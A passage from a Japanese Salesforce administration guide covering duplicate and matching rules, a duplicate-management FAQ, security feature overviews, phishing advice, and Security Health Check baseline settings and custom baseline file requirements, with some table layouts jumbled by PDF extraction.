
重複アラートアラートテキスト

一致ルール
一致ルールは、重複の識別方法を定義します。重複ルールには、一致ルールを少なくとも 1 つ指定する必要が
あります。

取引先責任者取引先の比較対象
Standard Contact Matching Rule一致ルール

取引先責任者レコードのマッチングルール一致条件

対応付けが選択されています項目の対応付け

リードの標準重複ルール
すべての重複ルールと同様に、リードレコードに使用される標準重複ルールは、重複レコードを保存しようと
したときの処理を定義します。新しいリードを保存しようとすると、アラートが表示されます。

ルールの詳細

Standard Lead Duplicate Ruleルール名

リードレコードのルールを複製説明

リードオブジェクト
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共有ルールを適用レコードレベルセキュ
リティ

アクション
アクションは、重複レコードを保存しようとしたときの処理を指定します。

許可: アラートおよびレポート作成時のアクション

許可: レポート編集時のアクション

重複アラートアラートテキスト

一致ルール
一致ルールは、重複の識別方法を定義します。重複ルールには、一致ルールを少なくとも 1 つ指定する必要が
あります。

リード取引先の比較対象
Standard Lead Matching Rule一致ルール

リードレコードのマッチングルール一致条件

対応付けが選択されています項目の対応付け

重複管理の FAQ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Data.com 重複管理に関するよくある質問への回答が記載されています。

Data.com Prospector および Data.com Clean で重複防止はどのように機能しますか?

グルーピング内で一致ルールに使用する OR 演算子が多すぎるというエラー
が表示される理由
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Data.com Prospector および Data.com Clean で重複防止はどのように機能しま
すか?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Data.com Prospector へのレコードの追加
これは、組織の Data.com 重複設定によって異なります。
Data.comから Salesforce に重複レコードを追加することが組織で許可されていない
場合、Data.comによって、Salesforce への重複レコードの追加がブロックされるた
め、重複ルールを実行する必要はありません。Data.comからレコードを追加しよ
うとしているユーザは、重複のために追加できなかったレコードが示されたエ
ラーログを受信します。
Data.comから Salesforce に重複レコードを追加することが組織で許可されている場
合は、重複ルールが実行されます。重複ルールは、重複レコードを許可するか
ブロックするかを決定します。重複ルールによってブロックされたレコードは、
エラーログに表示されます。

Data.com Clean によるレコードの更新
これは、組織の重複ルールによって異なります。重複ルールが編集時に重複レコードをブロックするように設
定されている場合は、クリーンアップで重複が生成されるとレコードをクリーンアップできません。
クリーンアップジョブについては、重複ルールでブロックするか、アラートを表示するように設定されている
場合は、クリーンアップで重複が生成されるとレコードをクリーンアップできません。ジョブの実行中にク
リーンアップできないレコードの [クリーンアップジョブ履歴] テーブルに、エンティティエラーが表示されま
す。
重複ルールが編集時に重複レコードを許可するように設定されている場合は、重複が生成されてもレコードを
クリーンアップできます。さらに、アラートを表示するように設定されている場合でも、レコードを手動でク
リーンアップしたときにアラートが表示されません。

グルーピング内で一致ルールに使用する OR 演算子が多すぎるというエラーが
表示される理由
一致ルールには、等式に組み込める項目は 10 個までという制限があります。一致ルールの保存時には、等式
が OR ステートメントを AND ステートメントに変換する標準化された形式に書き換えられます。標準化された
形式には、10 行までという制限があります。

例: 一致ルールに次の等式が含まれているとします。
(Field 1 OR Field 2) AND

(Field 3 OR Field 4) AND

(Field 5 OR Field 6) AND

(Field 7 OR Field 8)

これは、次のように書き換えられます。
(Field 1 AND Field 3 AND Field 5 Field AND 7) OR
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(Field 1 AND Field 3 AND Field 5 AND Field 8) OR

(Field 1 AND Field 3 AND Field 6 AND Field 7) OR

(Field 1 AND Field 3 AND Field 6 AND Field 8) OR

(Field 1 AND Field 4 AND Field 5 AND Field 7) OR

(Field 1 AND Field 4 AND Field 5 AND Field 8) OR

(Field 1 AND Field 4 AND Field 6 AND Field 7) OR

(Field 1 AND Field 4 AND Field 6 AND Field 8) OR

(Field 2 AND Field 3 AND Field 5 AND Field 7) OR

(Field 2 AND Field 3 AND Field 5 AND Field 8) OR

(Field 2 AND Field 3 AND Field 6 AND Field 7) OR

(Field 2 AND Field 3 AND Field 6 AND Field 8) OR

(Field 2 AND Field 4 AND Field 5 AND Field 7) OR

(Field 2 AND Field 4 AND Field 5 AND Field 8) OR

(Field 2 AND Field 4 AND Field 6 AND Field 7) OR

(Field 2 AND Field 4 AND Field 6 AND Field 8)

この一致ルールの項目は制限内ですが、標準化された形式に書き換えられたときに 10 行の制限を超えるため、
保存できません。グルーピング内で使用する OR 演算子を少なくするように、一致ルールを調整する必要があ
ります。

関連トピック:

一致ルールで使用される一致キー

Salesforce 組織の保護

Salesforce は、データとアプリケーションを保護するための開発を新しく行いました。また、独自のセキュリ
ティスキームを実装して、組織の構造とニーズを反映させることもできます。データの保護はお客様とSalesforce

との相互連携が必要になります。Salesforceのセキュリティ機能を使用すると、ユーザはジョブを安全かつ効率
的に実行できます。

Salesforce のセキュリティの基本
Salesforce のセキュリティ機能を使用すると、ユーザはジョブを安全かつ効率的に実行できます。Salesforce

では、ユーザが操作するデータの公開が制限されます。データの機密性に適したセキュリティコントロー
ルを実装します。連携してデータを社外の認証されていないアクセスや、ユーザによる不正使用から保護
する必要があります。
Shield プラットフォームの暗号化で Salesforce データを保護
Shield プラットフォームの暗号化では、重要なプラットフォーム機能を保持しながらデータに新しいセキュ
リティ層が追加されます。ネットワーク経由での送信時だけでなく、保存時に機密データを暗号化できる
ため、会社は非公開データの処理で準拠すべきプライバシーポリシー、規制要件、契約義務に確実に準拠
できます。
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セッションセキュリティ
ログイン後、ユーザはプラットフォームとのセッションを確立します。セッションセキュリティを使用し
て、ユーザがログインしたままコンピュータから離れているときにネットワークにさらされる危険を制限
します。ある従業員が別の従業員のセッションを使用したりする場合などの、内部攻撃の危険も制限しま
す。複数のセッション設定から選択して、セッションの動作を制御します。
有効化
有効化では、ユーザが ID の検証に使用したデバイスに関する情報を追跡します。ユーザが認識されていな
いブラウザまたはアプリケーションから Salesforce にアクセスすると、ID の検証が要求されます。ID 検証で
は、ユーザ名とパスワードによる認証の上にセキュリティ層がさらに追加されます。[有効化] ページには、
使用されたログイン IP アドレスとクライアントブラウザが表示されます。
ユーザの認証
認証とは、各ログインユーザが本人であることを確認して、組織またはそのデータへの不正なアクセスを
防ぐことです。
トランザクションセキュリティ
トランザクションセキュリティは、Salesforce リアルタイムイベントを受信し、作成したセキュリティポリ
シーに基づいて適切なアクションと通知を適用するフレームワークです。トランザクションセキュリティ
は、設定したポリシーに基づいてイベントを監視します。これらのポリシーは組織内のイベントに適用さ
れ、特定のイベントの組み合わせが生じた場合に実行するアクションを指定します。ポリシーがトリガさ
れると、アクションが実行され、必要に応じて通知を受信できます。
シングルサインオン
シングルサインオン (SSO) を使用すると、ユーザが 1 回のログインで複数の承認済みネットワークリソース
にアクセスできます。企業ユーザのデータベースまたはクライアントアプリケーションに対してユーザ名
とパスワードを検証でき、リソースごとに個別の Salesforce 管理のパスワードは必要ありません。
私のドメイン
Salesforceの [私のドメイン] 機能を使用して、サブドメインを Salesforce組織の URL に追加します。サブドメイ
ンを持つことで、独自のブランドが強調され、組織がより安全になります。サブドメインを使用すれば、
ログインページをカスタマイズすることができるので便利です。
アプリケーションランチャー
アプリケーションランチャーは、ユーザがアプリケーション間を切り替える方法です。ユーザの接続アプ
リケーション、Salesforce アプリケーション、およびオンプレミス型アプリケーションにリンクされたタイ
ルが表示されます。Salesforce システム管理者は、組織のデフォルトのアプリケーションの順序を設定し、
どのユーザがどのアプリケーションを使用できるかを決定できます。ユーザが初めて Salesforce を開くとき
に、アプリケーションランチャーをデフォルトのランディングページに設定できます。
[ファイルのアップロードおよびダウンロードセキュリティ] の設定
セキュリティを強化するには、アップロードおよびダウンロード中の数種類のファイルの処理方法を制御
します。
証明書と鍵
Salesforce 証明書と鍵のペアは、要求がユーザの組織からのものであることを確認する署名として使用され
ます。証明書と鍵は、外部 Web サイトとの認証済み SSL 通信で使用されるか、組織を ID プロバイダとして
使用するときに使用されます。使用している外部 Web サイトで要求が Salesforce 組織から行われていること
を確認する必要がある場合は、Salesforce 証明書と鍵のペアの生成のみ必要です。
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Salesforce のセキュリティの基本
Salesforce のセキュリティ機能を使用すると、ユーザはジョブを安全かつ効率的に実行できます。Salesforce で
は、ユーザが操作するデータの公開が制限されます。データの機密性に適したセキュリティコントロールを実
装します。連携してデータを社外の認証されていないアクセスや、ユーザによる不正使用から保護する必要が
あります。

フィッシングおよび不正ソフトウェア
信頼には何よりも透明性が必要です。そのため、Salesforce では http://trust.salesforce.com の Trust サイトにシス
テムパフォーマンスやセキュリティに関する情報をリアルタイムで掲載しています。このサイトでは、シ
ステムパフォーマンス、現在および最近のフィッシングや不正ソフトウェアに対する警告、組織のセキュ
リティに関するベストプラクティスのヒントなどに関する実データが提供されています。
セキュリティインフラストラクチャ
Salesforce では、インターネットセキュリティについて現在使用されている最も高度な技術を使用していま
す。Salesforceでサポートされているブラウザを使用してアプリケーションにアクセスすると、トランスポー
トレイヤセキュリティ (TLS) 技術により、サーバ認証と従来の暗号化の両方を使用して情報を保護し、デー
タを安全でセキュアにし、組織の登録済みユーザだけが使用できるようにします。
セキュリティヘルスチェック
システム管理者として、[状態チェック] を使用してセキュリティ設定の潜在的な脆弱性をすべて 1 つのペー
ジから特定して修正できます。概要スコアには、Salesforce で推奨されるベースラインを組織がどの程度満
たしているかが表示されます。最大 5 つのカスタムベースラインをアップロードして、Salesforce ベースラ
インの代わりに使用することもできます。
監査
監査では、システムの使用に関する情報を提供します。この情報は、潜在的なセキュリティ問題、または
実際のセキュリティ問題の診断に不可欠です。Salesforce の監査機能自体が組織を保護することはありませ
ん。組織の担当者が定期的に監査を行って潜在的な不正使用を検出する必要があります。
Salesforce Shield

Salesforce Shield は 3 つのセキュリティツールで構成されます。システム管理者や開発者はこれらのツールを
使用して、ビジネスクリティカルなアプリケーションに新たなレベルの信頼性、透明性、コンプライアン
ス、ガバナンスを組み込むことができます。Salesforce Shield には、プラットフォームの暗号化、イベント監
視、項目監査履歴が含まれます。Salesforce 管理者に、組織で Salesforce Shield が使用できるか問い合わせま
す。

フィッシングおよび不正ソフトウェア
信頼には何よりも透明性が必要です。そのため、Salesforceでは http://trust.salesforce.com の Trust サイトにシステム
パフォーマンスやセキュリティに関する情報をリアルタイムで掲載しています。このサイトでは、システムパ
フォーマンス、現在および最近のフィッシングや不正ソフトウェアに対する警告、組織のセキュリティに関す
るベストプラクティスのヒントなどに関する実データが提供されています。
Trust サイトの [セキュリティ] タブには、会社のデータを保護するための有効な情報が記載されています。特
に、フィッシングと不正ソフトウェアを警戒しています。
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• フィッシングとは、電子通信で信頼できるエンティティになりすますことによって、ユーザ名、パスワー
ド、クレジットカードの詳細情報など、重要な情報を取得しようとするソーシャルエンジニアリング技法
です。フィッシャーは、ユーザが URL や外観が正当な Web サイトとよく似た偽の Web サイトに入力するよ
う誘導する場合がよくあります。Salesforce コミュニティが大きくなるにつれて、コミュニティはフィッ
シャーにとって格段に目立つターゲットとなります。パスワードを尋ねるような、Salesforce スタッフから
のメールや電話は行いませんので、パスワードを誰にも公開しないでください。http://trust.salesforce.com の
[信頼] タブの [疑わしいメールを報告] リンクをクリックして、疑わしい活動について報告することができ
ます。

• 不正ソフトウェアは、所有者の同意なく、コンピュータシステムに進入したり、損害を与えるように設計
されたソフトウェアです。不正ソフトウェアは、さまざまな形式の、悪意があり、侵略的で、障害を与え
るソフトウェアを表す一般的な用語で、コンピュータウィルスやスパイウェアも含まれます。

フィッシングおよび不正ソフトウェアへの Salesforce の対策
カスタマーセキュリティはお客様の成功の基本であるため、Salesforceでは今後もこの領域の最善の実例や技術
を実装していきます。最新かつ実行中の活動は次のとおりです。
• 影響を受けたお客様に対する積極的なアラートを有効にするログの活発な監視や分析。
• 主要なセキュリティベンダや特定の脅威に対する専門化との連携。
• 不正サイトを削除または無効化 (多くは検出から 1 時間以内) する迅速な処理の実行。
• Salesforce 内でのセキュリティ教育およびアクセスポリシーの強化。
• 当社のお客様そしてインフラストラクチャ内の展開のための新しい技術の評価および開発。

Salesforce の推奨事項
Salesforceはカスタマーセキュリティの効果的なパートナーとして、サービスソフトウェアの基準を設定してい
ます。当社の努力に加え、お客様もセキュリティ向上のために次の変更を行うことをお勧めします。
• IP 範囲の制限を有効化するよう Salesforce の実装を変更する。これにより、ユーザが会社のネットワークま

たは VPN からのみ Salesforce にアクセスできるようにします。詳細は、「ユーザが Salesforce にログインでき
る範囲と時間帯の制限」 (ページ 981)を参照してください。

• セッションセキュリティ制限を設定して、なりすましを難しくする。詳細は、「セッションセキュリティ
設定の変更」 (ページ 996)を参照してください。

• フィッシングから保護するため、疑わしいメールを開かないように、慎重になるよう教育する。
• 主要ベンダのセキュリティソリューションを使用して、スパムのフィルタリングや不正ソフトウェア保護

を展開する。
• 組織内にセキュリティ担当者を指定し、Salesforceがより効率的に連絡できるようにする。詳細は、Salesforce

の担当者までお問い合わせください。
• 2 要素認証技術を使用して、ネットワークへのアクセスを制限する。詳細は、「2 要素認証」 (ページ974)を

参照してください。
• トランザクションセキュリティを使用してイベントを監視し、適切な措置を講じる。詳細は、「トランザ

クションセキュリティポリシー」 (ページ 1028)を参照してください。
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Salesforce には、セキュリティ問題に対応する Security Incident Response Team があります。セキュリティ障害また
は脆弱性をSalesforceに報告するには、security@salesforce.comに連絡してください。問題について詳細に説明して
いただければ、チームが適切に対応いたします。

セキュリティインフラストラクチャ
Salesforceでは、インターネットセキュリティについて現在使用されている最も高度な技術を使用しています。
Salesforceでサポートされているブラウザを使用してアプリケーションにアクセスすると、トランスポートレイ
ヤセキュリティ (TLS) 技術により、サーバ認証と従来の暗号化の両方を使用して情報を保護し、データを安全
でセキュアにし、組織の登録済みユーザだけが使用できるようにします。
マルチテナントプラットフォームの主要な機能の 1 つは、コンピュータリソースの単独プールを使用して、さ
まざまな顧客のニーズにこたえることです。Salesforceは、顧客の組織からお客様の組織のデータをすべて、各
ユーザのセッションと関連付けられている一意の組織識別子を使用して保護します。組織にログインすると、
後続の要求はこの識別子を使用して組織と関連付けられます。
また、Salesforceは、ファイアウォールや他の高度な技術を使用する安全なサーバ環境に干すとされ、外部の侵
入者からの妨害またはアクセスを防ぎます。

セキュリティヘルスチェック

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

状態チェックを参照する
• 「状態チェックを表

示」

カスタムベースラインを
インポートおよびエクス
ポートする
• 「状態チェックを管

理」

システム管理者として、[状態チェック] を使用してセキュリティ設定の潜在的な
脆弱性をすべて 1 つのページから特定して修正できます。概要スコアには、
Salesforce で推奨されるベースラインを組織がどの程度満たしているかが表示さ
れます。最大 5 つのカスタムベースラインをアップロードして、Salesforceベース
ラインの代わりに使用することもできます。
[設定] から、[クイック検索]ボックスに「状態チェック」と入力し、[状態チェッ
ク] を選択します。
ベースラインドロップダウン (1) で、[Salesforce ベースライン標準] またはカスタ
ムベースラインを選択します。[Salesforce ベースライン標準] は、[証明書と鍵の
管理]、[ログインアクセスポリシー]、[ネットワークアクセス]、[パスワードポリ
シー]、[リモートサイトの設定]、および [セッションの設定] グループ (2) の推奨
値で構成されます。[Salesforceベースライン標準] の内容よりも制限が緩い設定に
変更すると、状態チェックのスコアが低下します。
高リスクおよび中リスクの設定が、基準値 (3) との比較情報と共に表示されま
す。リスクに対処するには、設定を編集 (4) するか、[リスクを修正] (5) を使用し
て、[状態チェック] ページを離れることなく、選択したベースラインの推奨値に
設定をすばやく変更します。選択した標準を満たす設定は、一番下に表示され
ます。カスタムベースラインはインポートまたはエクスポートできます (6)。
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例: パスワードの最小長を 8 (デフォルト値) から 5 に変更し、[パスワードポリシー] の他の設定を制限の緩
い値に変更したとします。これらの変更により、推測や他の過激な攻撃に対してユーザのパスワードが
脆弱な状態になります。その結果、全体的なスコアが低下し、設定がリスクとして表示されます。

リスクの修正の制限事項
[ログインアクセスポリシー]、[パスワードポリシー]、[セッションの設定] の各グループを変更する場合にのみ
[リスクを修正] を使用できます。[状態チェック] の他のすべての設定 ([ネットワークアクセス] など) は組織固有
のビジネス要件と一致するように設定されているため、[状態チェック] ページの [編集] リンクを使用して手動
で変更する必要があります。

[状態チェック] のスコアの計算方法
[状態チェック] のスコアは、セキュリティ設定が Salesforce ベースライン標準をどの程度満たしているかを
測定する独自の数式を使用して計算されます。設定が基準以上の場合はスコアが上昇し、設定にリスクが
ある場合はスコアが低下します。
状態チェックのカスタムベースラインの作成
Salesforce 推奨の標準を使用する代わりに、最大 5 つのカスタムベースラインをインポートして、組織のセ
キュリティ設定を独自の標準と比較できます。たとえば、金融業界のビジネスであれば、FINRA 標準を使用
してカスタムセキュリティベースラインを作成できます。
カスタムベースラインファイルの要件
状態チェックのカスタムベースラインを正常にインポートするために、ファイルと設定が要件を満たして
いることを確認します。

関連トピック:

[状態チェック] のスコアの計算方法
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[状態チェック] のスコアの計算方法

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[状態チェック] のスコアは、セキュリティ設定がSalesforceベースライン標準をど
の程度満たしているかを測定する独自の数式を使用して計算されます。設定が
基準以上の場合はスコアが上昇し、設定にリスクがある場合はスコアが低下し
ます。
最小パスワード長など一部の設定は他よりも加重が大きく、スコアに及ぼす影
響も大きくなります。詳細は、「Salesforce ベースライン標準」 (ページ 893)を参
照してください。
設定グループのすべての設定が基準以上の場合は、合計スコアが 100% になりま
す。設定を更新すると、うまくいけば緑色のバーが右側に移動します。

スコアに基づく推奨アクション

推奨アクション合計スコア

すぐに高リスクに対処する。0 ～ 33%

短期的に高リスクに対処し、長期的に中リスクに対処する。34 ～ 66%

[状態チェック] を定期的に確認し、リスクに対処する。67 ～ 100%

メモ: 新しい Salesforce 組織には、100% 未満の初期スコアが設定されています。[状態チェック] を使用し
て、パスワードポリシーやその他の設定グループの高いリスクを解消して、スコアを速やかに改善しま
す。

Salesforce ベースライン標準
次に、基準を満たす設定値と、各リスクレベルに該当する値を示します。
証明書と鍵の管理

高リスク値中リスク値基準値設定

少なくとも 1 つの
証明書の期限が切

少なくとも 1 つの
証明書の期限が切

証明書が作成され
ていないか、すべ

有効期限
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高リスク値中リスク値基準値設定

れるまで 15 日未満
です。

れるまで 15 日以上
180 日未満です。

ての証明書の期限
が切れるまで 180

日以上あります。

なし少なくとも 1 つの
証明書の鍵サイズ
が 2048 です。

証明書が作成され
ていないか、すべ
ての証明書の鍵サ
イズが 4096 です。

鍵サイズ

ファイル処理オプション

高リスク値中リスク値基準値設定

1 つ以上のセキュリ
ティリスクファイ

なしハイブリッド動作
が有効になってい

ファイルのアップロードおよびダウンロードのセ
キュリティ設定

ルの種類でハイブるセキュリティリ
リッド動作が有効
になっています。

スクファイルの種
類はありません。

ログインアクセスポリシー

高リスク値中リスク値基準値設定

なしチェックボックス
がオン

チェックボックス
がオフ

管理者は任意のユーザでログインできます

ネットワークアクセス

高リスク値中リスク値基準値設定

なし範囲が設定されて
いない

1 つ以上の範囲が設
定されている

信頼済み IP 範囲

パスワードポリシー

高リスク値中リスク値基準値設定

1 年または無期限180 日90 日以下パスワードの有効期間

制限なし1 または 2 回前のパ
スワードまで使用
不可

3 回前のパスワード
まで使用不可

過去のパスワードの利用制限回数
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高リスク値中リスク値基準値設定

5 以下6 または 78[最小パスワード長]  (メモを参照)

制限なし英・数字両方含め
る

英字、数字、およ
び特殊文字または
それ以外の要素を

[パスワード文字列の制限]  (メモを参照)

組み合わせて使用
する必要がある

N/Aなしパスワードを含め
ないこと

パスワード質問の制限

10 または制限なし53ログイン失敗によりロックするまでの回数

無期限30 または 60 分15 分ロックアウトの有効期間

N/Aチェックボックス
がオフ

チェックボックス
がオン

パスワードのリセットの秘密の回答を非表示にす
る

N/Aチェックボックス
がオフ

チェックボックス
がオン

パスワードの有効期限は 1 日以上にする必要が
あります

メモ: [最小パスワード長] および [パスワード文字列の制限] 設定は、[パスワードポリシー] グループスコ
アの計算で他の設定の 2 倍でカウントされます。

リモートサイトの設定

高リスク値中リスク値基準値設定

少なくとも 1 つの
リモートサイトが

なしリモートサイトが
作成されていない

リモートサイト

[プロトコルセキュか、少なくとも 1
リティの無効化]オつのサイトが[プロ
プションをオンにトコルセキュリ
して作成されてい
る。

ティの無効化]オプ
ションをオフにし
て作成されてい
る。

セッションの設定

高リスク値中リスク値基準値設定

なし4、8、または 12 時
間

2 時間以下タイムアウト値
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高リスク値中リスク値基準値設定

なしチェックボックス
がオフ

チェックボックス
がオン

セッションタイムアウト時の警告ポップアップを
無効にする

なしチェックボックス
がオフ

チェックボックス
がオン

セッションタイムアウト時に強制的にログアウト

なしチェックボックス
がオフ

チェックボックス
がオン

[ログイン時の IP アドレスとセッションをロッ
クする]  (メモを参照)

チェックボックス
がオフ

なしチェックボックス
がオン

セッションを最初に使用したドメインにセッショ
ンをロックする

チェックボックス
がオフ

なしチェックボックス
がオン

ユーザとしてログインしてから再ログインを強制
する

なしチェックボックス
がオフ

チェックボックス
がオン

すべての要求でログイン IP アドレスの制限を適
用

なしチェックボックス
がオン

チェックボックス
がオフ

ログインページでキャッシングとオートコンプ
リート機能を有効にする

チェックボックス
がオフ

なしチェックボックス
がオン

SMS による ID 確認を有効にする

チェックボックス
がオフ

なしチェックボックス
がオン

設定ページのクリックジャック保護を有効化

チェックボックス
がオフ

なしチェックボックス
がオン

設定以外の Salesforce ページのクリック
ジャック保護を有効化

チェックボックス
がオフ

なしチェックボックス
がオン

標準ヘッダーがある Visualforce ページのク
リックジャック保護を有効化

チェックボックス
がオフ

なしチェックボックス
がオン

ヘッダーが無効化された Visualforce ページ
のクリックジャック保護を有効化

チェックボックス
がオフ

なしチェックボックス
がオン

設定ページ以外の GET 要求の CSRF 保護を有
効化

チェックボックス
がオフ

なしチェックボックス
がオン

設定ページ以外の POST 要求の CSRF 保護を有
効化

メモ: [ログイン時の IP アドレスとセッションをロックする]設定を使用可能なエディションは、Enterprise

Edition、Performance Edition、Unlimited Edition、Developer Edition、および Database.com Edition です。

関連トピック:

セキュリティヘルスチェック
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状態チェックのカスタムベースラインの作成

エディション

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムベースラインを
表示する
• 「状態チェックを表

示」

カスタムベースラインを
作成する
• 「状態チェックを管

理」

Salesforce推奨の標準を使用する代わりに、最大 5 つのカスタムベースラインをイ
ンポートして、組織のセキュリティ設定を独自の標準と比較できます。たとえ
ば、金融業界のビジネスであれば、FINRA 標準を使用してカスタムセキュリティ
ベースラインを作成できます。
カスタムベースラインを作成するには、Salesforce ベースライン標準を基本にし

ます。
1. [ベースラインコントロール] メニューから[XML をエクスポート]を選択して、

Salesforce ベースライン標準ファイルをエクスポートします。
2. XML ファイルを開き、developerName 項目を一意の値に変更します。文字

および数字を使用できますが、名前の先頭は文字にする必要があります。ス
ペースや特殊文字を含めることはできません。

3. name 項目を一意な値に変更します。この項目は Salesforce で表示されるベー
スライン名です。スペースと一部の特殊文字を使用できます。

4. 設定グループと設定名の加重を必要に応じて調整します。各設定グループおよび設定名に 1.0、2.0、または
3.0 の加重を選択します。加重項目は状態チェックのスコアに影響を及ぼします。数字が大きいほど重要と
して加重されます。

5. 「カスタムベースラインファイルの要件」に従って設定値を変更します。すべての値には、0.0 以上の整数
を入力します。小数点以下は最大 1 桁です。設定グループまたは設定名は追加または削除しないでくださ
い。追加または削除を行うと、インポートが失敗します。
a. 標準項目には、最も安全であると考える値を入力します。
b. 警告項目には、中リスクと考える値を入力します。警告項目よりもリスクが高いセキュリティ設定は、

状態チェックで高リスクと表示されるため、ファイル内で高リスク値を指定する必要はありません。

メモ: セキュリティ設定によっては、低い値が低リスクを表す場合もあれば、高リスクを表す場合も
あります。たとえば、最小パスワード長は、値が低いほどリスクが高くなります。一方、ログイン失
敗によりロックするまでの回数は、値が低いほど安全です。

6. 設定を保存し、[ベースラインコントロール] メニューから[XML をインポート]を選択して、ファイルをイン
ポートします。
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例: 

関連トピック:

カスタムベースラインファイルの要件
[状態チェック] のスコアの計算方法
セキュリティヘルスチェック

カスタムベースラインファイルの要件

エディション

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

状態チェックのカスタムベースラインを正常にインポートするために、ファイ
ルと設定が要件を満たしていることを確認します。

XML ファイル
英語の文字のみが使用されている有効な XML ファイルを使用します。ファイル
を 20 KB より大きくすることはできません。各カスタムベースラインには、名前
項目と開発者名項目に一意の値が設定されている必要があります。各値は引用
符で囲みます。ファイルを編集するときに値を削除しないように注意してくだ
さい。

カスタムベースラインセキュリティ設定の項目と値
状態チェックの設定をファイルで追加または削除することはできませんが、加重と値を変更できます。
証明書と鍵の管理

使用可能な値設定

"0.0" (最も高リスク) から "180.0" までの日数を入
力します。

有効期限
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使用可能な値設定

2 つの鍵サイズを使用できます: "4096.0" または
"2048.0" (最も高リスク)

鍵サイズ

メモ:  2048 の鍵サイズを使用できないよ
うにするには、標準値として "4096.0" を入
力し、警告値として "2048.0" から "4096.0"

までの任意の数値を入力します。

ファイル処理オプション

使用可能な値設定

"0.0" 以上の任意の整数 (値が高いほど高リスク)ファイルのアップロードおよびダウンロードのセキュリティ設
定

ログインアクセスポリシー

使用可能な値設定

管理者は任意のユーザでログインできます • "0.0" — チェックボックスがオフ
• "2.0" — チェックボックスがオン (最も高リ

スク)

ネットワークアクセス

使用可能な値設定

"0.0" 以上の任意の整数 ("0.0" が最も高リスク)信頼済み IP 範囲

パスワードポリシー

使用可能な値設定

パスワードの有効期間 • "2147483647.0" — 無期限 (最も高リスク)

• "365.0" — 1 年間
• "180.0" — 180 日間
• "90.0" — 90 日間
• "60.0" — 60 日間
• "30.0" — 30 日間

899

Salesforce のセキュリティの基本Salesforce 組織の設定および管理



使用可能な値設定

"0.0" (最も高リスク) から "24.0" までの任意の整
数

過去のパスワードの利用制限回数

"5.0" (最も高リスク) から "50.0" までの任意の整
数

最小パスワード長

[パスワード文字列の制限]  (メモを参照) • "0.0" — 制限なし (最も高リスク)

• "1.0" — 英数字
• "2.0" — 特殊文字
• "3.0" — 大文字、小文字、数字
• "4.0" — 大文字、小文字、数字、特殊文字

パスワード質問の制限 • "0.0" — 制限なし (最も高リスク)

• "1.0" — パスワードのヒントにはパスワード
を含めることはできない

ログイン失敗によりロックするまでの回数 • "1000.0" — 制限なし (最も高リスク)

• "10.0" — 10 回
• "5.0" — 5 回
• "3.0" — 3 回

ロックアウトの有効期間 • "15.0" — 15 分間 (最も高リスク)

• "30.0" — 30 分間
• "60.0" — 60 分間
• "2147483647.0" — 無期限 (システム管理者に

よるリセットが必要)

パスワードのリセットの秘密の回答を非表示にする • "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン

パスワードの有効期限は 1 日以上にする必要があります • "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン

リモートサイトの設定
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使用可能な値設定

リモートサイト • "0.0" — リモートサイト設定が設定されてい
ないか、設定されているリモートサイト設
定で [プロトコルセキュリティの無効化]

チェックボックスがオフ
• "2.0" — 少なくとも 1 つのリモートサイト設

定で [プロトコルセキュリティの無効化]

チェックボックスがオン (最も高リスク)

セッションの設定

使用可能な値設定

タイムアウト値 • "24.0" — 24 時間
• "12.0" — 12 時間
• "8.0" — 8 時間
• "4.0" — 4 時間
• "2.0" — 2 時間
• "1.0" — 1 時間
• "0.5" — 30 分間
• "0.25" — 15 分間

セッションタイムアウト時の警告ポップアップを無効にする • "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン

セッションタイムアウト時に強制的にログアウト • "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン

[ログイン時の IP アドレスとセッションをロックする]  (メモ
を参照)

• "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン

セッションを最初に使用したドメインにセッションをロックす
る

• "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン
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使用可能な値設定

ユーザとしてログインしてから再ログインを強制する • "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン

すべての要求でログイン IP アドレスの制限を適用 • "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン

ログインページでキャッシングとオートコンプリート機能を有
効にする

• "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン

SMS による ID 確認を有効にする • "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン

この設定は、デフォルトで有効になっていま
す。変更するには、Salesforceにお問い合わせく
ださい。

設定ページのクリックジャック保護を有効化

この設定は、デフォルトで有効になっていま
す。変更するには、Salesforceにお問い合わせく
ださい。

設定以外の Salesforce ページのクリックジャック保護を有
効化

標準ヘッダーがある Visualforce ページのクリックジャッ
ク保護を有効化

• "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン

ヘッダーが無効化された Visualforce ページのクリック
ジャック保護を有効化

• "0.0" — チェックボックスがオフ (最も高リ
スク)

• "2.0" — チェックボックスがオン

この設定は、デフォルトで有効になっていま
す。変更するには、Salesforceにお問い合わせく
ださい。

設定ページ以外の GET 要求の CSRF 保護を有効化
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使用可能な値設定

この設定は、デフォルトで有効になっていま
す。変更するには、Salesforceにお問い合わせく
ださい。

設定ページ以外の POST 要求の CSRF 保護を有効化

関連トピック:

状態チェックのカスタムベースラインの作成

監査
監査では、システムの使用に関する情報を提供します。この情報は、潜在的なセキュリティ問題、または実際
のセキュリティ問題の診断に不可欠です。Salesforce の監査機能自体が組織を保護することはありません。組織
